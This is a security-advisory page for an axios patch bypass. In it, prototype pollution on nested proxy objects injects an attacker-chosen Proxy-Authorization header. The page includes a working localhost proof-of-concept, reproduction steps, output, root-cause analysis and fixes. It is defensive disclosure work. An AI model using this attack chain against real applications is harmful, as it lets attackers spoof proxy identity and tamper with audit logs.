Axios has a Patch Bypass: Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype FixGHSA-654m-c8p4-x5fp
LOWGHSA-654m-c8p4-x5fp is a low-severity (CVSS 3.7) CWE-113 vulnerability in axios. A fix is available for axios — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-654m-c8p4-x5fp.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-654m-c8p4-x5fp by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 385,386 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
axiosnpmDescription
[Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2
Summary
The Object.create(null) fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the top-level config object from prototype pollution. However, nested objects created by utils.merge() (e.g., config.proxy) are still constructed as plain {} with Object.prototype in their chain.
The setProxy() function at lib/adapters/http.js:209-223 reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks. When Object.prototype.username is polluted, setProxy() constructs a Proxy-Authorization header with attacker-controlled credentials and injects it into every proxied HTTP request.
Severity: Medium (CVSS 5.4)
Affected Versions: 1.15.2 (and potentially 1.15.1)
Vulnerable Component: lib/adapters/http.js (setProxy()) + lib/utils.js (merge())
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
CVSS 3.1
Score: 5.6 (Medium)
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP triggered remotely via vulnerable dependency |
| Attack Complexity | High | Requires two preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure config.proxy. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Within the proxy authentication context |
| Confidentiality | Low | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike config.baseURL hijack) |
| Integrity | Low | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity |
| Availability | Low | If proxy rejects the injected credentials, legitimate requests may fail |
Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)
| Factor | GHSA-q8qp-cvcw-x6jj | This Finding |
|---|---|---|
| Precondition | None — all requests affected | Must have config.proxy set |
config.baseURL PP | Hijacks all relative URL requests | Not applicable |
config.auth PP | Injects Authorization to target server | Only injects Proxy-Authorization to proxy |
| Attacker sees traffic | Yes (via baseURL redirect) | No — only proxy identity affected |
| Impact scope | Universal — every axios request | Only requests with explicit proxy config |
This Is a Patch Bypass
This vulnerability bypasses the fix introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses Object.create(null) for the config object, blocking direct prototype pollution on config.proxy, config.auth, etc.
However, the fix is incomplete: when a user legitimately sets config.proxy = { host: 'proxy.corp', port: 8080 }, the mergeConfig() function passes this object through utils.merge(), which creates a new plain {} object (lib/utils.js:406: const result = {};). This new object inherits from Object.prototype, re-opening the prototype pollution attack surface on the nested proxy object.
| Layer | Protection | Status |
|---|---|---|
config (top-level) | Object.create(null) | ✓ Fixed |
config.proxy (nested) | utils.merge() → const result = {} | ✗ NOT Fixed |
setProxy() reads | proxy.username, proxy.auth without hasOwnProperty | ✗ NOT Fixed |
Root Cause Analysis
Step 1: utils.merge() creates plain {} for nested objects
File: lib/utils.js, line 406
function merge(/* obj1, obj2, obj3, ... */) {
const result = {}; // ← Plain object with Object.prototype!
// ...
}
When mergeConfig() processes config.proxy, getMergedValue() calls utils.merge(), which creates a plain {} for the nested object. This plain object inherits from Object.prototype.
Step 2: setProxy() reads proxy properties without hasOwnProperty
File: lib/adapters/http.js, lines 209-223
function setProxy(options, configProxy, location) {
let proxy = configProxy;
// ...
if (proxy) {
if (proxy.username) { // ← traverses Object.prototype!
proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
}
if (proxy.auth) { // ← traverses Object.prototype!
const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);
if (validProxyAuth) {
proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');
}
// ...
const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');
options.headers['Proxy-Authorization'] = 'Basic ' + base64; // ← INJECTED!
}
// ...
}
}
Complete Attack Chain
Object.prototype.username = 'attacker'
Object.prototype.password = 'stolen-creds'
│
▼
User config: { proxy: { host: 'proxy.corp', port: 8080 } }
│
▼
mergeConfig() → utils.merge() → new plain {}
config.proxy = { host: 'proxy.corp', port: 8080 } (own properties)
config.proxy inherits from Object.prototype (has .username, .password)
│
▼
setProxy() at http.js:209:
proxy.username → 'attacker' (from Object.prototype) → truthy!
proxy.auth = 'attacker' + ':' + 'stolen-creds'
│
▼
http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
Injected into EVERY proxied HTTP request!
Proof of Concept
import http from 'http';
import axios from './index.js';
// Proxy server logs received Proxy-Authorization
const proxyServer = http.createServer((req, res) => {
console.log('Proxy-Authorization:', req.headers['proxy-authorization']);
res.writeHead(200);
res.end('OK');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;
// Target server
const target = http.createServer((req, res) => { res.writeHead(200); res.end(); });
await new Promise(r => target.listen(0, r));
// Simulate prototype pollution from vulnerable dependency
Object.prototype.username = 'attacker';
Object.prototype.password = 'stolen-creds';
// Developer sets proxy WITHOUT auth — expects no auth header
await axios.get(`http://127.0.0.1:${target.address().port}/api`, {
proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },
});
// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
// Decoded: attacker:stolen-creds
delete Object.prototype.username;
delete Object.prototype.password;
proxyServer.close();
target.close();
Reproduction Environment
Axios version: 1.15.2 (latest patched release)
Node.js version: v20.20.2
OS: macOS Darwin 25.4.0
Reproduction Steps
# 1. Install axios 1.15.2
npm pack [email protected]
tar xzf axios-1.15.2.tgz && mv package axios-1.15.2
cd axios-1.15.2 && npm install
# 2. Save PoC as poc.mjs (code from Section 7 above)
# 3. Run
node poc.mjs
Verified PoC Output
=== Axios 1.15.2: PP → Proxy-Authorization Injection ===
[1] Normal request with proxy (no auth):
Proxy-Authorization: none
[2] Prototype Pollution: Object.prototype.username = "attacker"
Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
Decoded: attacker:stolen-creds
→ PP injected proxy credentials: attacker:stolen-creds
[3] Impact:
✗ Attacker injects Proxy-Authorization into all proxied requests
✗ If proxy logs auth, attacker credential appears in proxy logs
✗ If proxy authenticates based on this, attacker controls proxy identity
✗ Works on 1.15.2 despite null-prototype config fix
✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype
Confirming the Bypass Mechanism
Direct PP (config.proxy) — BLOCKED by 1.15.2:
Object.prototype.proxy = { host: 'evil' }
config.proxy = undefined ← null-prototype blocks ✓
Nested PP (proxy.username) — BYPASSES 1.15.2:
Object.prototype.username = 'attacker'
config.proxy = { host: 'legit', port: 8080 } ← user-set, own properties
config.proxy own keys: ['host', 'port'] ← username NOT own
config.proxy.username = 'attacker' ← inherited from Object.prototype!
hasOwn(config.proxy, 'username') = false
## Impact Analysis
- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.
- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record "attacker" instead of the real user, enabling audit trail manipulation.
- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.
- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.
### Prerequisite
- Application must use `config.proxy` (explicit proxy configuration)
- A separate prototype pollution vulnerability must exist in the dependency tree
- `Object.prototype.username` or `Object.prototype.auth` must be polluted
## Recommended Fix
### Fix 1: Use `hasOwnProperty` in `setProxy()`
```javascript
function setProxy(options, configProxy, location) {
let proxy = configProxy;
// ...
if (proxy) {
const hasOwn = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key);
if (hasOwn(proxy, 'username')) {
proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
}
if (hasOwn(proxy, 'auth')) {
// ... existing auth handling ...
}
}
}
Fix 2: Use null-prototype objects in utils.merge()
// lib/utils.js line 406
function merge(/* obj1, obj2, obj3, ... */) {
const result = Object.create(null); // ← null-prototype for nested objects too
// ...
}
Fix 3 (Comprehensive): Apply null-prototype to all objects created by getMergedValue()
References
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | axios | ≥ 1.15.2&&< 1.16.0 | 1.16.0npm install axios@1.16.0 |
Affected Products
axiosaxiosDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for axios, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update axios to 1.16.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-654m-c8p4-x5fp is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This is a Low impact vulnerability in the Axios HTTP client library. A remote attacker could exploit a prototype pollution flaw to inject arbitrary credentials into the Proxy-Authorization header of proxied HTTP requests. This issue is limited to applications explicitly configured to use a proxy and requires a…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.Source: Red Hat security advisory for GHSA-654m-c8p4-x5fp (CC BY 4.0)
Frequently Asked Questions
Is GHSA-654m-c8p4-x5fp in your dependencies?
Find it across npm, including transitive dependencies.